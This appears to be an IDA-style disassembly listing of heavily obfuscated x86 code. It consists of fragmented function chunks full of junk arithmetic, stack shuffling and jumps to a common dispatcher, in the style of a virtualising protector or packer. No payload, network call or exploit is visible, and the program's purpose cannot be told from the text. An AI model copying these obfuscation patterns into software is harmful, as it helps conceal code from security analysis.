; START	OF FUNCTION CHUNK FOR sub_5A2AFE


loc_5A21C0:				; CODE XREF: sub_5A2AFE+AF13j
		sub	ebx, 597A5450h
		sub	ebx, 6E241949h
		jmp	loc_5A7AEB
; END OF FUNCTION CHUNK	FOR sub_5A2AFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A21D1:				; CODE XREF: sub_59C979+D155j
		sub	esi, 0AD58E82Fh
		jmp	loc_5AF9BE
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A21DC:				; CODE XREF: sub_5A503A+4707j
		jnp	loc_5A432C
		not	edi
		or	edi, 3FA070FDh
		jmp	loc_5AB120
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_5A21EF:				; CODE XREF: sub_5A3B60-8AADj
		pop	ebx
		pop	eax
; END OF FUNCTION CHUNK	FOR sub_5A3B60

; =============== S U B	R O U T	I N E =======================================



sub_5A21F1	proc near		; CODE XREF: sub_5AA2D1+1AFCj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A05CA SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005B02D9 SIZE 0000000A BYTES

		push	ebx
		push	5C30h
		mov	[esp+8+var_8], ebp
		jmp	loc_5B02D9
sub_5A21F1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A21FF:				; CODE XREF: sub_5AA2D1-9DFBj
		mov	ax, word ptr [esp+8+var_8]
		push	1D9Ah
		jmp	loc_5A54FB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A86D0


loc_5A220D:				; CODE XREF: sub_5A86D0-AEAj
		push	2D05h
		mov	[esp+8+var_8], edx
		jmp	loc_5A000F
; END OF FUNCTION CHUNK	FOR sub_5A86D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A221A:				; CODE XREF: sdfs____:0059A68Fj
					; sub_5A0AA2:loc_5A2A10j
		pop	edi
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_59C047
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A2227:				; CODE XREF: sub_5992DA+14C8j
		push	7B0F79AEh
		push	[esp+28h+var_2A+2]
		jmp	loc_59EA6F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A2234:				; CODE XREF: sub_5A580F-9C23j
		push	edx
		mov	edx, 3E76B9Ch
		add	edx, 0C9797BA9h
		xor	edi, edx
		pop	edx
		push	edi
		jmp	loc_59FB50
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------


loc_5A2249:				; CODE XREF: sdfs____:00599B59j
		push	esp
		push	dword ptr [esp]
		pop	edx
		push	esi
		jmp	loc_5A6962
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A26E8


loc_5A2254:				; CODE XREF: sub_5A26E8+5442j
		mov	edi, 4
		add	ecx, 2060353Bh
		sub	ecx, 390E2E85h
		add	ecx, edi
		push	8B9h
		mov	[esp+14h+var_14], ebp
		mov	ebp, 597D102Eh
		shr	ebp, 5
		or	ebp, 24967CDh
		and	ebp, 27A02D0h
		and	ebp, 6C144B5Ch
		xor	ebp, 390E2CC5h
		add	ecx, ebp
		pop	ebp
		sub	ecx, 2060353Bh
		jmp	loc_59AE14
; END OF FUNCTION CHUNK	FOR sub_5A26E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_5A229D:				; CODE XREF: sub_5AD84A+Fj
		neg	ebx
		dec	ebx
		jo	loc_59AF75
		and	ebx, 74986DD8h
		add	ebx, 0AFEFBE7Ch
		mov	esi, ebx
		jmp	loc_5AC696
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5A22B9:				; CODE XREF: sub_5AF2D9+1j
		push	ecx
		push	269036Bh
		push	dword ptr [esp+0]
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_59B000
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A22CB:				; CODE XREF: sub_5AD993-133F1j
					; sub_5AA2D1+16B8j
		mov	ebp, [esp+0Ch+var_C]
		jmp	loc_59922D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A22D3:				; CODE XREF: sub_5A5EFF+3EA9j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5AC38A
		sub	esp, 4
		jmp	loc_5AC3DB
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A22E5:				; CODE XREF: sub_59D6B8+638Aj
		push	ecx
		mov	ecx, 0EFE32B0h
		mov	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+14h+var_14], ebx
		jmp	loc_5AC036
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5A22F9:				; CODE XREF: sub_59F4D2+3DB6j
		neg	ebp
		jbe	loc_599CDE
		add	ebp, 77D012B9h
		and	ebp, 20BE2767h
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5A230D:				; CODE XREF: sub_5A913B-C2C4j
		not	ch
		xchg	ch, al
		sub	al, 9Bh
		xor	dh, al
		pop	eax
		sub	bl, 9Fh
		sub	bl, dh
		add	bl, 9Fh
		pop	edx
		jmp	loc_5A2B07
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A2324:				; CODE XREF: sub_59C979+12AF1j
		xor	edx, esi
		not	esi
		xchg	esi, edx
		jmp	loc_5A2DE3
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A232F:				; CODE XREF: sub_5AA2D1+3E56j
		push	3BD6h
		mov	[esp+10h+var_10], esi
		jmp	loc_5A2AC7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_5A233C:				; CODE XREF: sub_59D37E+1C6Cj
		add	al, 0E3h
		jmp	loc_5AB74B
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB65


loc_5A2343:				; CODE XREF: sub_5ABB65-11E1Bj
		pop	esi
		add	ebp, eax
		pop	eax
		jmp	loc_5A400C
; END OF FUNCTION CHUNK	FOR sub_5ABB65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_5A234C:				; CODE XREF: sub_5A3E64+A657j
		dec	edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		add	eax, 2FA76330h
		jmp	loc_5AF116
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599CC6


loc_5A235D:				; CODE XREF: sub_599CC6+12BDBj
		pop	ecx
		mov	ah, bl
		mov	ebx, [esp+0]
		jmp	loc_5AAB28
; END OF FUNCTION CHUNK	FOR sub_599CC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5A2368:				; CODE XREF: sub_5AA810+1BC6j
		add	[esp+8], esi
		pop	esi
		mov	edx, [esp-8+arg_4]
		jmp	loc_5A30F2
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------


loc_5A2375:				; CODE XREF: sdfs____:005AEF32j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	edx, 5
		neg	edx
		xor	edx, 0FFFA5946h
		add	ecx, edx
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A23A6:				; CODE XREF: sub_59EE3E:loc_5A29C5j
		xor	esi, 98F45A2Dh
		xor	ebx, esi
		pop	esi
		push	esi
		mov	esi, 30DAC6Ah
		sub	ebx, esi
		jmp	loc_59E918
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4DFC


loc_5A23BC:				; CODE XREF: sub_5A4DFC-64BEj
		add	esp, 4
		push	small 5029h
		mov	word ptr [esp+4+var_4],	dx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_5AE44D
; END OF FUNCTION CHUNK	FOR sub_5A4DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7746


loc_5A23D8:				; CODE XREF: sub_5A7746-AACCj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_59D5AF
; END OF FUNCTION CHUNK	FOR sub_5A7746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A23E9:				; CODE XREF: sub_5AA2D1-1F6Ej
		add	al, 5Fh
		mov	dl, al
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		sub	dl, al
		pop	eax
		or	dl, 5Bh
		jmp	loc_5A1B7C
; ---------------------------------------------------------------------------


loc_5A2401:				; CODE XREF: sub_5AA2D1-1F1j
		pop	eax
		jmp	loc_59B6E1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A2407:				; CODE XREF: sdfs____:0059A3AEj
					; sub_5992DA+16021j
		push	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A71BA
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5A2416:				; CODE XREF: sub_599A61+50E6j
					; sub_5A913B-30CAj
		shl	edx, 4
		jp	loc_5AE6CC
		shl	edx, 5
		jmp	loc_5AB871
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
		mov	ebp, esi
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A2429:				; CODE XREF: sub_5A0FFF+A45Dj
		mov	edx, 0
		jmp	loc_59B047
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5A2433:				; CODE XREF: sub_5AD6D4-1ABEj
		not	eax
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 7FBF26FBh
		sub	eax, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5A6005
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A2450:				; CODE XREF: sub_5A6BBC-C23Bj
		sub	ecx, 3F015A88h
		jmp	loc_5AD090
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A245B:				; CODE XREF: sub_5A477C-907Aj
		mov	edx, 5AD01CE5h
		sub	ecx, edx
		pop	edx
		add	ecx, 15FF36ACh
		jmp	loc_5A7A5E
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A66A


loc_5A246E:				; CODE XREF: sub_59A66A+3j
		mov	[esp+4+var_4], eax
		jmp	loc_5A4DCB
; END OF FUNCTION CHUNK	FOR sub_59A66A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5A2476:				; CODE XREF: sub_5AF294+10j
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		push	edi
		jmp	loc_5A870C
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A12F5


loc_5A248B:				; CODE XREF: sub_5A12F5+Aj
		add	esp, 4
		sub	edx, ebp
		mov	ebp, [esp+4+var_4]
		jmp	loc_5A60B1
; END OF FUNCTION CHUNK	FOR sub_5A12F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A249B:				; CODE XREF: sub_5A5EFF+27j
		mov	[esp+8+var_8], edi
		jmp	loc_5A50E5
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7028


loc_5A24A3:				; CODE XREF: sub_5A7028+1j
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		push	small word ptr [eax]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A7028

; =============== S U B	R O U T	I N E =======================================



sub_5A24B6	proc near		; CODE XREF: sub_5A0AA2+7063j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	dl, 0AFh
		jmp	loc_59A4A9
sub_5A24B6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A24C3:				; CODE XREF: sub_5A9EC5-8526j
		pop	ecx
		push	24Eh
		mov	[esp+0Ch+var_C], edx
		mov	dl, 81h
		sub	dl, 0FFh
		xor	dl, 0D9h
		add	al, dl
		pop	edx
		jmp	loc_5A8E33
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A24DC:				; CODE XREF: sub_5A9EBF-EF72j
		sub	ebx, 11C12E8Eh
		jmp	loc_59C3A2
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A24E7:				; CODE XREF: sub_5A2E28-7276j
		add	ecx, 7D855575h
		add	esi, ecx
		pop	ecx
		jmp	loc_59F094
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A24F5:				; CODE XREF: sub_5A0FFF+1EBAj
					; sub_5A477C+230Ej
		pop	[esp+6+var_8+2]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A24FD:				; CODE XREF: sub_5AA2D1-51Aj
		mov	al, dh
		pop	edx
		push	ebx
		mov	bh, 0B8h
		or	al, bh
		pop	ebx
		push	ebx
		push	ecx
		jmp	loc_59CD01
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AA62


loc_5A250D:				; CODE XREF: sub_59AA62+7115j
		sub	ebp, edx
		push	ecx
		mov	ecx, 492354FEh
		sub	ebp, ecx
		pop	ecx
		mov	edx, [esp+14h+var_14]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5AD634
; END OF FUNCTION CHUNK	FOR sub_59AA62
; ---------------------------------------------------------------------------


loc_5A2529:				; CODE XREF: sdfs____:0059BF0Dj
		xchg	esi, [esp]
		jmp	loc_59F0FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A2531:				; CODE XREF: sub_5A2E28-7CB2j
		pop	ebx
		sub	edi, 4
		jmp	loc_59ACD9
; END OF FUNCTION CHUNK	FOR sub_5A2E28

; =============== S U B	R O U T	I N E =======================================



sub_5A253A	proc near		; DATA XREF: sdfs____:00598E90o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005AA724 SIZE 0000000A BYTES

		push	7B6Fh
		mov	[esp+4+var_4], ebx
		jmp	loc_5AA724
sub_5A253A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2547:				; CODE XREF: sub_5AA2D1-10600j
		xor	[esp-10h+arg_C], ecx
		xor	ecx, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		movzx	ax, byte ptr [eax]
		push	edi
		push	esp
		jmp	loc_59EC59
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A255B:				; CODE XREF: sub_5A63DC+75E3j
		mov	edx, [esp+8+var_8]
		push	ebx
		jmp	loc_5A3C4D
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5A2564:				; CODE XREF: sub_599D0E+1044Dj
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_5A729F
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5A2572:				; CODE XREF: sub_5A9D64+B68j
		jo	loc_59ABCC
		add	ebx, 0A95A29D5h
		push	ebx
		inc	[esp+10h+var_10]
		pop	ebx
		sub	ebx, 3AA037D8h
		neg	ebx
		sub	ebx, 0BE8E9ADEh
		add	ecx, ebx
		pop	ebx
		jmp	loc_5A6691
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2599:				; CODE XREF: sub_5AA2D1+16C8j
		mov	edx, 27D418BAh
		and	edx, 7C675A22h
		shl	edx, 7
		jmp	loc_59B114
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A25AC:				; CODE XREF: sub_59D6B8-CB4j
		sub	edx, 0FF16A725h
		mov	ecx, edx
		jmp	loc_5A0ADE
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D18A


loc_5A25B9:				; CODE XREF: sub_59D18A+9831j
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59D18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A25C7:				; CODE XREF: sub_5A5EFF+4332j
		shr	ebp, 1
		jmp	loc_5AB0CA
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A25CE:				; CODE XREF: sub_59C979+8A3Fj
		push	edi
		jmp	loc_5A153F
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A25D4:				; CODE XREF: sub_5A79BE+860j
		xor	esi, 77F4C63h
		push	esi
		add	dword ptr [esp+0], 295F2262h
		jmp	loc_5AC7B5
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A25E7:				; CODE XREF: sub_59A26C+215Bj
		sub	edi, 49C722B3h
		add	edi, edx
		add	edi, 49C722B3h
		jmp	loc_5AF881
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A25FA:				; CODE XREF: sub_5A580F-3846j
		mov	[esp+0], edx
		jmp	loc_5AD3B7
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2602:				; CODE XREF: sub_5AA2D1-AA70j
		mov	bl, 0CDh
		mov	dl, bl
		push	dword ptr [esp+0]
		pop	ebx
		jmp	loc_5A3251
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_5A260F:				; CODE XREF: sub_5AB622-DCECj
		push	edi
		mov	edi, 7C00609h
		dec	edi
		jmp	loc_5AB2F8
; END OF FUNCTION CHUNK	FOR sub_5AB622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5A261B:				; CODE XREF: sub_5A4D9D-97DCj
					; sub_5A65D3+15j
		shl	esi, 1
		js	loc_599C5D
		xor	esi, 17606663h
		xor	esi, 0EAA92A34h
		push	ebx
		push	ebx
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A2631:				; CODE XREF: sub_5A0AA2+BE15j
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		jmp	loc_5A0D45
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A263D:				; CODE XREF: sub_59C979-1ED9j
		add	ebx, ecx
		push	[esp+6+var_6]
		mov	ecx, [esp+0Ah+var_A]
		jmp	loc_5A1E30
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A264A:				; CODE XREF: sub_5AA2D1-DE67j
		pop	ecx
		add	ecx, 4
		jmp	loc_5A4B8F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A2656:				; CODE XREF: sub_5A477C-720Aj
					; sub_5A5B27+1274j
		push	esi
		mov	esi, 4
		mov	eax, esi
		pop	esi
		add	ebx, eax
		pop	eax
		xor	ebx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ebx
		xor	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		shl	[esp-0Ch+arg_8], cl
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5A267D:				; CODE XREF: sub_5A72CB+15j
		push	eax
		push	ebp
		mov	ebp, 65EC60B2h
		add	ebp, 74535E88h
		jmp	loc_5A123F
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A268F:				; CODE XREF: sub_5ADD33-4F2Bj
		sub	edx, 5FAB4C22h
		push	50E6h
		mov	[esp+0Ch+var_C], esi
		mov	esi, 21A93389h
		sub	esp, 4
		mov	[esp+10h+var_10], ecx
		mov	ecx, 139977B5h
		shr	ecx, 6
		push	edx
		mov	edx, 0FE7CAA63h
		add	ecx, edx
		pop	edx
		jmp	loc_59C646
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A311C


loc_5A26C1:				; CODE XREF: sub_5A311C+6CFDj
		not	edx
		add	edx, 0D3F01E65h
		add	eax, edx
		push	[esp+0Ch+var_C]
		pop	edx
		add	esp, 4
		add	eax, 4
		jmp	sub_5A8C5C
; END OF FUNCTION CHUNK	FOR sub_5A311C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A26DC:				; CODE XREF: sub_5AA2D1-318Dj
					; sdfs____:005AE1B1j
		mov	cx, word ptr [esp-8+arg_4]
		push	esi
		push	esp
		pop	esi
		jmp	loc_5A0944
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A26E8	proc near		; DATA XREF: sdfs____:00598EB4o

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AE14 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059B04F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C8D7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D4EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059DFED SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A0AE3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2188 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2254 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 005A7B28 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AE41A SIZE 00000010 BYTES

		mov	cx, [esp+0]
		push	ebp
		mov	ebp, esp
		jmp	loc_59C8D7
sub_5A26E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A26F4:				; CODE XREF: sub_5AA2D1-5FBEj
		pop	edx
		dec	ebx
		shr	ebx, 6
		jmp	loc_5A0F5D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599B07


loc_5A26FE:				; CODE XREF: sub_599B07+8j
		mov	ebp, eax
		pop	eax
		mov	ecx, [esp+0]
		push	ebp
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		jmp	loc_5A4A5C
; END OF FUNCTION CHUNK	FOR sub_599B07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A271A:				; CODE XREF: sub_5AA2D1-1E8Fj
		add	al, dl
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		pop	edx
		jmp	loc_59F84F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


loc_5A272B:				; CODE XREF: sub_59F1C3+9B9j
		mov	edx, esp
		add	edx, 4
		jmp	loc_59AAF4
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A2738:				; CODE XREF: sub_5AA2D1-9992j
		mov	edx, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59FFF2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_5A2748:				; CODE XREF: sub_59D4FD-1C23j
					; sub_59B2E4+BA4j
		pop	esp
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59B2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A765F


loc_5A274E:				; CODE XREF: sub_5A765F+12j
		xor	ebx, 0F150h
		sub	ecx, ebx
		jmp	loc_5AB0DA
; END OF FUNCTION CHUNK	FOR sub_5A765F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB66


loc_5A275B:				; CODE XREF: sub_5AAB66-324Bj
		mov	esi, [esp+0]
		push	esi
		jmp	loc_5A3C98
; END OF FUNCTION CHUNK	FOR sub_5AAB66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DD36


loc_5A2764:				; CODE XREF: sub_59DD36+DBF7j
		sub	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A8DD7
; END OF FUNCTION CHUNK	FOR sub_59DD36

; =============== S U B	R O U T	I N E =======================================



sub_5A2789	proc near		; CODE XREF: sub_59F02F-2CBCj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A8D76 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005AD1BB SIZE 0000001E BYTES

		sub	esp, 4
		jmp	loc_5AD1BB
sub_5A2789	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A2794:				; CODE XREF: sub_5A477C+A46Dj
		shl	edx, 3
		jnz	loc_5AE326
		not	edx
		push	ecx
		mov	ecx, 528B3E33h
		mov	dh, ah


loc_5A27A7:				; CODE XREF: sub_59CDA4+Bj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5A27AC:				; CODE XREF: sub_5A9D64-809j
		pop	ebp
		push	5428h
		mov	[esp+0], ebx
		push	8F0h
		mov	[esp+4+var_4], edi
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, 183F196Ch
		xor	ebp, 24526CEDh
		shr	ebp, 1
		jns	loc_5AC6FF
		xor	ebp, 6F834164h
